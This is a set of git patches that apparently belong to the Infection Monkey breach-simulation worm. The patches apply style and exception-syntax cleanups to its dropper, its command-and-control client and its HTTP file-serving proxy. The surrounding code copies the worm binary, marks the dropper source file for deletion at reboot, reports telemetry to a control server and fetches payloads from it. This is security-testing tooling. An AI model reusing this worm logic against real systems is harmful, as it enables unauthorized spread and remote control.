-import pprint
-import logging
-import subprocess
-import argparse
from ctypes import c_char_p
+from config import WormConfiguration
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
-from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
@@ -65,7 +65,7 @@ class MonkeyDrops(object):
self._config['destination_path'])
LOG.info("Moved source file '%s' into '%s'",
- self._config['source_path'], self._config['destination_path'])
+ self._config['source_path'], self._config['destination_path'])
file_moved = True
except (WindowsError, IOError, OSError) as exc:
@@ -80,7 +80,7 @@ class MonkeyDrops(object):
self._config['destination_path'])
LOG.info("Copied source file '%s' into '%s'",
- self._config['source_path'], self._config['destination_path'])
+ self._config['source_path'], self._config['destination_path'])
except (WindowsError, IOError, OSError) as exc:
LOG.error("Error copying source file '%s' into '%s': %s",
self._config['source_path'], self._config['destination_path'],
@@ -95,7 +95,7 @@ class MonkeyDrops(object):
dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux
try:
ref_stat = os.stat(dropper_date_reference_path)
- except:
+ except OSError as exc:
LOG.warn("Cannot set reference date using '%s', file not found",
dropper_date_reference_path)
else:
@@ -142,10 +142,10 @@ class MonkeyDrops(object):
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
- if 0 == ctypes.windll.kernel32.MoveFileExA( dropper_source_path_ctypes, None,
- MOVEFILE_DELAY_UNTIL_REBOOT):
+ if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
+ MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
- self._config['source_path'])
\ No newline at end of file
+ self._config['source_path'])
From 9d5ea03eb3489beb3c646b85828288b6b7579bb4 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 18:05:05 +0300
Subject: [PATCH 16/18] PEP8+python exceptions
---
chaos_monkey/control.py | 46 +++++++++++++++++++++--------------------
1 file changed, 24 insertions(+), 22 deletions(-)
diff --git a/chaos_monkey/control.py b/chaos_monkey/control.py
index 2b440476c..ab5abec83 100644
--- a/chaos_monkey/control.py
+++ b/chaos_monkey/control.py
@@ -1,14 +1,16 @@
import json
import logging
-import requests
import platform
-import monkeyfs
-from network.info import local_ips, check_internet_access
from socket import gethostname
-from config import WormConfiguration, GUID
-from transport.tcp import TcpProxy
-from transport.http import HTTPConnectProxy
+
+import requests
+
+import monkeyfs
import tunnel
+from config import WormConfiguration, GUID
+from network.info import local_ips, check_internet_access
+from transport.http import HTTPConnectProxy
+from transport.tcp import TcpProxy
__author__ = 'hoffer'
@@ -60,7 +62,7 @@ class ControlClient(object):
timeout=20)
break
- except Exception, exc:
+ except Exception as exc:
WormConfiguration.current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc)
@@ -83,13 +85,13 @@ class ControlClient(object):
try:
monkey = {}
if ControlClient.proxies:
- monkey['tunnel'] = ControlClient.proxies.get('https')
+ monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return {}
@@ -97,7 +99,7 @@ class ControlClient(object):
@staticmethod
def send_telemetry(tele_type='general', data=''):
if not WormConfiguration.current_server:
- return
+ return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data': data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
@@ -105,20 +107,20 @@ class ControlClient(object):
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def load_control_config():
if not WormConfiguration.current_server:
- return
+ return
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
@@ -126,7 +128,7 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_dict(reply.json().get('config'))
LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
- except Exception, exc:
+ except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server, reply._content, exc)
@@ -141,11 +143,11 @@ class ControlClient(object):
return
try:
requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
- data=json.dumps({'config_error': True}),
- headers={'content-type': 'application/json'},
- verify=False,
- proxies=ControlClient.proxies)
- except Exception, exc:
+ data=json.dumps({'config_error': True}),
+ headers={'content-type': 'application/json'},
+ verify=False,
+ proxies=ControlClient.proxies)
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc)
return {}
@@ -215,7 +217,7 @@ class ControlClient(object):
if size == monkeyfs.getsize(dest_file):
return dest_file
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@@ -243,7 +245,7 @@ class ControlClient(object):
else:
return None, None
- except Exception, exc:
+ except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@@ -253,7 +255,7 @@ class ControlClient(object):
def create_control_tunnel():
if not WormConfiguration.current_server:
return None
-
+
my_proxy = ControlClient.proxies.get('https', '').replace('https://', '')
if my_proxy:
proxy_class = TcpProxy
From 637b704fa2bb473e073e5f987850cbcc21bcc245 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 18:05:37 +0300
Subject: [PATCH 17/18] remove fully qualified path
---
chaos_monkey/build_windows.bat | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/build_windows.bat b/chaos_monkey/build_windows.bat
index f7f2b0da5..e5ff5a805 100644
--- a/chaos_monkey/build_windows.bat
+++ b/chaos_monkey/build_windows.bat
@@ -1 +1 @@
-c:\python27\Scripts\pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
\ No newline at end of file
+pyinstaller -F --log-level=DEBUG --clean --upx-dir=.\bin monkey.spec
\ No newline at end of file
From 39ab50f3760f492d7d2ebb34c2213fda2a707c5c Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 1 Oct 2017 19:25:53 +0300
Subject: [PATCH 18/18] Fix inconsistent return value in send_head
---
chaos_monkey/transport/http.py | 42 +++++++++++++++++++---------------
1 file changed, 23 insertions(+), 19 deletions(-)
diff --git a/chaos_monkey/transport/http.py b/chaos_monkey/transport/http.py
index e51074745..ee198a08a 100644
--- a/chaos_monkey/transport/http.py
+++ b/chaos_monkey/transport/http.py
@@ -1,10 +1,14 @@
-import urllib, BaseHTTPServer, threading, os.path
-import monkeyfs
-from logging import getLogger
-from base import TransportProxyBase, update_last_serve_time
-from urlparse import urlsplit
+import BaseHTTPServer
+import os.path
import select
import socket
+import threading
+import urllib
+from logging import getLogger
+from urlparse import urlsplit
+
+import monkeyfs
+from base import TransportProxyBase, update_last_serve_time
__author__ = 'hoffer'
@@ -24,7 +28,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(self):
self.send_error(501, "Unsupported method (POST)")
- return
+ return
def do_GET(self):
"""Serve a GET request."""
@@ -55,9 +59,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
f.close()
def send_head(self):
- if self.path != '/'+urllib.quote(os.path.basename(self.filename)):
- self.send_error (500, "")
- return
+ if self.path != '/' + urllib.quote(os.path.basename(self.filename)):
+ self.send_error(500, "")
+ return None, 0, 0
f = None
try:
f = monkeyfs.open(self.filename, 'rb')
@@ -67,7 +71,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
size = monkeyfs.getsize(self.filename)
start_range = 0
end_range = size
-
+
if "Range" in self.headers:
s, e = self.headers['range'][6:].split('-', 1)
sl = len(s)
@@ -80,7 +84,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
ei = int(e)
if ei < size:
start_range = size - ei
-
+
if start_range == 0 and end_range - start_range >= size:
self.send_response(200)
else:
@@ -88,7 +92,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
else:
self.send_response(200)
- self.send_header("Content-type", "application/octet-stream")
+ self.send_header("Content-type", "application/octet-stream")
self.send_header("Content-Range", 'bytes ' + str(start_range) + '-' + str(end_range - 1) + '/' + str(size))
self.send_header("Content-Length", min(end_range - start_range, size))
self.end_headers()
@@ -101,9 +105,9 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
- timeout = 30 # timeout with clients, set to None not to make persistent connection
- proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
- protocol_version = "HTTP/1.1"
+ timeout = 30 # timeout with clients, set to None not to make persistent connection
+ proxy_via = None # pseudonym of the proxy in Via header, set to None not to modify original Via header
+ protocol_version = "HTTP/1.1"
def version_string(self):
return ""
@@ -120,7 +124,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
conn = socket.create_connection(address)
except socket.error, e:
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
- self.send_error(504) # 504 Gateway Timeout
+ self.send_error(504) # 504 Gateway Timeout
return
self.send_response(200, 'Connection Established')
self.send_header('Connection', 'close')
@@ -163,12 +167,12 @@ class HTTPServer(threading.Thread):
@staticmethod
def report_download(dest=None):
- LOG.info('File downloaded from (%s,%s)' % (dest[0],dest[1]))
+ LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
- httpd.timeout = 0.5 # this is irrelevant?
-
+ httpd.timeout = 0.5 # this is irrelevant?
+
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()